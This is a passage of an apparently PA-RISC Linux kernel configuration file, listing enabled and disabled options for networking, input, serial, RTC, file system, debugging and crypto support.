# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EZCHIP is not set
# CONFIG_NET_VENDOR_EXAR is not set
# CONFIG_NET_VENDOR_HP is not set
# CONFIG_NET_VENDOR_INTEL is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NETRONOME is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_QUALCOMM is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RENESAS is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_ROCKER is not set
# CONFIG_NET_VENDOR_SAMSUNG is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_NET_VENDOR_SOLARFLARE is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_NET_VENDOR_SYNOPSYS is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_MDIO_DEVICE=m
# CONFIG_MDIO_BITBANG is not set
# CONFIG_MDIO_THUNDER is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
# CONFIG_AMD_PHY is not set
# CONFIG_AQUANTIA_PHY is not set
# CONFIG_AT803X_PHY is not set
# CONFIG_BCM7XXX_PHY is not set
# CONFIG_BCM87XX_PHY is not set
# CONFIG_BROADCOM_PHY is not set
# CONFIG_CICADA_PHY is not set
# CONFIG_CORTINA_PHY is not set
# CONFIG_DAVICOM_PHY is not set
# CONFIG_DP83848_PHY is not set
# CONFIG_DP83867_PHY is not set
# CONFIG_FIXED_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_INTEL_XWAY_PHY is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_LXT_PHY is not set
# CONFIG_MARVELL_PHY is not set
# CONFIG_MARVELL_10G_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MICROCHIP_PHY is not set
# CONFIG_MICROSEMI_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_QSEMI_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_SMSC_PHY is not set
# CONFIG_STE10XP is not set
# CONFIG_TERANETICS_PHY is not set
# CONFIG_VITESSE_PHY is not set
# CONFIG_XILINX_GMII2RGMII is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Host-side USB support is needed for USB Network Adapter support
#
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set
# CONFIG_NVM is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_BYD=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_CYPRESS=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_PS2_FOCALTECH=y
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set
# CONFIG_RMI4_CORE is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_USERIO is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_LEGACY_PTYS is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
# CONFIG_DEVMEM is not set
CONFIG_DEVKMEM=y

#
# Serial drivers
#
CONFIG_SERIAL_EARLYCON=y
CONFIG_SERIAL_8250=y
# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
# CONFIG_SERIAL_8250_FINTEK is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_EXAR=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
# CONFIG_SERIAL_8250_EXTENDED is not set
# CONFIG_SERIAL_8250_FSL is not set
# CONFIG_SERIAL_8250_DW is not set
# CONFIG_SERIAL_8250_RT288X is not set
# CONFIG_SERIAL_8250_MOXA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_UARTLITE is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_SERIAL_DEV_BUS is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_XILLYBUS is not set

#
# I2C support
#
# CONFIG_I2C is not set
# CONFIG_SPI is not set
# CONFIG_SPMI is not set
# CONFIG_HSI is not set
CONFIG_PPS=m
# CONFIG_PPS_DEBUG is not set

#
# PPS clients support
#
# CONFIG_PPS_CLIENT_KTIMER is not set
# CONFIG_PPS_CLIENT_LDISC is not set
# CONFIG_PPS_CLIENT_GPIO is not set

#
# PPS generators support
#

#
# PTP clock support
#
CONFIG_PTP_1588_CLOCK=m

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
# CONFIG_GPIOLIB is not set
# CONFIG_W1 is not set
# CONFIG_POWER_AVS is not set
# CONFIG_POWER_RESET is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=m
# CONFIG_HWMON_VID is not set
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_ASPEED is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_NCT6683 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH56XX_COMMON is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_LPC_ICH is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_MT6397 is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RTSX_PCI is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_MFD_SYSCON is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set

#
# ACP (Audio CoProcessor) Configuration
#
# CONFIG_DRM_LIB_RANDOM is not set

#
# Frame buffer Devices
#
# CONFIG_FB is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set
# CONFIG_VGASTATE is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_STI_CONSOLE=y
# CONFIG_SOUND is not set

#
# HID support
#
# CONFIG_HID is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_SUPPORT is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set
CONFIG_RTC_NVMEM=y

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_INTF_DEV_UIE_EMUL=y
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#

#
# SPI RTC drivers
#

#
# SPI and I2C RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1685_FAMILY is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_DS2404 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_RTC_DRV_FTRTC010 is not set

#
# HID Sensor RTC drivers
#
# CONFIG_DMADEVICES is not set

#
# DMABUF options
#
# CONFIG_SYNC_FILE is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_VIRT_DRIVERS is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
# CONFIG_HYPERV_TSCPAGE is not set
# CONFIG_STAGING is not set
# CONFIG_HWSPINLOCK is not set

#
# Clock Source drivers
#
# CONFIG_ATMEL_PIT is not set
# CONFIG_SH_TIMER_CMT is not set
# CONFIG_SH_TIMER_MTU2 is not set
# CONFIG_SH_TIMER_TMU is not set
# CONFIG_EM_TIMER_STI is not set
# CONFIG_MAILBOX is not set
# CONFIG_IOMMU_SUPPORT is not set

#
# Remoteproc drivers
#
# CONFIG_REMOTEPROC is not set

#
# Rpmsg drivers
#

#
# SOC (System On Chip) specific Drivers
#

#
# Broadcom SoC drivers
#

#
# i.MX SoC drivers
#
# CONFIG_SUNXI_SRAM is not set
# CONFIG_SOC_TI is not set
# CONFIG_SOC_ZTE is not set
# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_NTB is not set
# CONFIG_VME_BUS is not set
# CONFIG_PWM is not set
CONFIG_ARM_GIC_MAX_NR=1
# CONFIG_IPACK_BUS is not set
# CONFIG_RESET_CONTROLLER is not set
# CONFIG_FMC is not set

#
# PHY Subsystem
#
# CONFIG_GENERIC_PHY is not set
# CONFIG_BCM_KONA_USB2_PHY is not set
# CONFIG_PHY_PXA_28NM_HSIC is not set
# CONFIG_PHY_PXA_28NM_USB2 is not set
# CONFIG_POWERCAP is not set
# CONFIG_MCB is not set
# CONFIG_RAS is not set

#
# Android
#
# CONFIG_ANDROID is not set
# CONFIG_DAX is not set
CONFIG_NVMEM=y
# CONFIG_STM is not set
# CONFIG_INTEL_TH is not set

#
# FPGA Configuration Support
#
# CONFIG_FPGA is not set

#
# FSI support
#
# CONFIG_FSI is not set

#
# File systems
#
# CONFIG_EXT2_FS is not set
# CONFIG_EXT3_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT2=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_ENCRYPTION is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
# CONFIG_F2FS_FS is not set
# CONFIG_FS_DAX is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
# CONFIG_EXPORTFS_BLOCK_OPS is not set
CONFIG_FILE_LOCKING=y
CONFIG_MANDATORY_FILE_LOCKING=y
# CONFIG_FS_ENCRYPTION is not set
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set
# CONFIG_OVERLAY_FS is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
# CONFIG_ISO9660_FS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_MSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
# CONFIG_PROC_KCORE is not set
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
# CONFIG_PROC_CHILDREN is not set
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
CONFIG_HUGETLBFS=y
CONFIG_HUGETLB_PAGE=y
# CONFIG_CONFIGFS_FS is not set
# CONFIG_MISC_FILESYSTEMS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set
# CONFIG_NLS is not set

#
# Kernel hacking
#

#
# printk and dmesg options
#
# CONFIG_PRINTK_TIME is not set
CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4
# CONFIG_BOOT_PRINTK_DELAY is not set

#
# Compile-time checks and compiler options
#
# CONFIG_DEBUG_INFO is not set
# CONFIG_ENABLE_WARN_DEPRECATED is not set
# CONFIG_ENABLE_MUST_CHECK is not set
CONFIG_FRAME_WARN=1024
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_UNUSED_SYMBOLS is not set
# CONFIG_PAGE_OWNER is not set
# CONFIG_DEBUG_FS is not set
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_SECTION_MISMATCH=y
CONFIG_SECTION_MISMATCH_WARN_ONLY=y
CONFIG_ARCH_WANT_FRAME_POINTERS=y
CONFIG_FRAME_POINTER=y
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_MAGIC_SYSRQ is not set
CONFIG_DEBUG_KERNEL=y

#
# Memory Debugging
#
# CONFIG_PAGE_EXTENSION is not set
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_PAGE_POISONING is not set
# CONFIG_DEBUG_RODATA_TEST is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
CONFIG_DEBUG_STACK_USAGE=y
# CONFIG_DEBUG_VM is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_PER_CPU_MAPS is not set
CONFIG_HAVE_DEBUG_STACKOVERFLOW=y
CONFIG_DEBUG_STACKOVERFLOW=y
# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Lockups and Hangs
#
CONFIG_LOCKUP_DETECTOR=y
CONFIG_SOFTLOCKUP_DETECTOR=y
# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0
# CONFIG_DETECT_HUNG_TASK is not set
CONFIG_WQ_WATCHDOG=y
# CONFIG_PANIC_ON_OOPS is not set
CONFIG_PANIC_ON_OOPS_VALUE=0
CONFIG_PANIC_TIMEOUT=0
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHED_INFO is not set
# CONFIG_SCHEDSTATS is not set
CONFIG_SCHED_STACK_END_CHECK=y
# CONFIG_DEBUG_TIMEKEEPING is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
CONFIG_DEBUG_ATOMIC_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_LOCK_TORTURE_TEST is not set
# CONFIG_WW_MUTEX_SELFTEST is not set
# CONFIG_STACKTRACE is not set
CONFIG_WARN_ALL_UNSEEDED_RANDOM=y
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_PI_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set

#
# RCU Debugging
#
# CONFIG_PROVE_RCU is not set
# CONFIG_TORTURE_TEST is not set
# CONFIG_RCU_PERF_TEST is not set
# CONFIG_RCU_TORTURE_TEST is not set
CONFIG_RCU_CPU_STALL_TIMEOUT=21
# CONFIG_RCU_TRACE is not set
# CONFIG_RCU_EQS_DEBUG is not set
# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_TRACING_SUPPORT=y
# CONFIG_FTRACE is not set

#
# Runtime Testing
#
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_TEST_SORT is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_PERCPU_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_TEST_HEXDUMP is not set
# CONFIG_TEST_STRING_HELPERS is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_TEST_PRINTF is not set
# CONFIG_TEST_BITMAP is not set
# CONFIG_TEST_UUID is not set
# CONFIG_TEST_RHASHTABLE is not set
# CONFIG_TEST_HASH is not set
# CONFIG_TEST_LKM is not set
# CONFIG_TEST_USER_COPY is not set
# CONFIG_TEST_BPF is not set
# CONFIG_TEST_FIRMWARE is not set
# CONFIG_TEST_SYSCTL is not set
# CONFIG_TEST_UDELAY is not set
# CONFIG_MEMTEST is not set
# CONFIG_TEST_STATIC_KEYS is not set
# CONFIG_BUG_ON_DATA_CORRUPTION is not set
# CONFIG_TEST_KMOD is not set
# CONFIG_SAMPLES is not set
# CONFIG_ARCH_WANTS_UBSAN_NO_NULL is not set
CONFIG_UBSAN=y
CONFIG_UBSAN_ALIGNMENT=y
CONFIG_UBSAN_NULL=y
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
# CONFIG_SECCOMP is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y
CONFIG_HARDENED_USERCOPY=y
# CONFIG_STATIC_USERMODEHELPER is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_RNG_DEFAULT=m
CONFIG_CRYPTO_AKCIPHER2=y
CONFIG_CRYPTO_KPP2=y
CONFIG_CRYPTO_ACOMP2=y
# CONFIG_CRYPTO_RSA is not set
# CONFIG_CRYPTO_DH is not set
# CONFIG_CRYPTO_ECDH is not set
CONFIG_CRYPTO_MANAGER=m
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
# CONFIG_CRYPTO_GF128MUL is not set
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_NULL2=y
# CONFIG_CRYPTO_PCRYPT is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_MCRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_CHACHA20POLY1305 is not set
# CONFIG_CRYPTO_SEQIV is not set
CONFIG_CRYPTO_ECHAINIV=m

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
# CONFIG_CRYPTO_ECB is not set
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set
# CONFIG_CRYPTO_KEYWRAP is not set

#
# Hash modes
#
# CONFIG_CRYPTO_CMAC is not set
CONFIG_CRYPTO_HMAC=m
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_CRCT10DIF is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_POLY1305 is not set
# CONFIG_CRYPTO_MD4 is not set
CONFIG_CRYPTO_MD5=m
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_SHA3 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_AES_TI is not set
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_ARC4 is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_CHACHA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_LZO is not set
# CONFIG_CRYPTO_842 is not set
# CONFIG_CRYPTO_LZ4 is not set
# CONFIG_CRYPTO_LZ4HC is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
CONFIG_CRYPTO_DRBG_MENU=m
CONFIG_CRYPTO_DRBG_HMAC=y
# CONFIG_CRYPTO_DRBG_HASH is not set
CONFIG_CRYPTO_DRBG=m
CONFIG_CRYPTO_JITTERENTROPY=m
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not set
# CONFIG_CRYPTO_HW is not set

#
# Certificates for signature checking
#
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
# CONFIG_HAVE_ARCH_BITREVERSE is not set
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_NET_UTILS=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IO=y
# CONFIG_CRC_CCITT is not set
CONFIG_CRC16=y
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC4 is not set
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
# CONFIG_CRC8 is not set
# CONFIG_AUDIT_ARCH_COMPAT_GENERIC is not set
# CONFIG_RANDOM32_SELFTEST is not set
CONFIG_ZLIB_INFLATE=m
CONFIG_ZLIB_DEFLATE=m
# CONFIG_XZ_DEC is not set
# CONFIG_XZ_DEC_BCJ is not set
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT_MAP=y
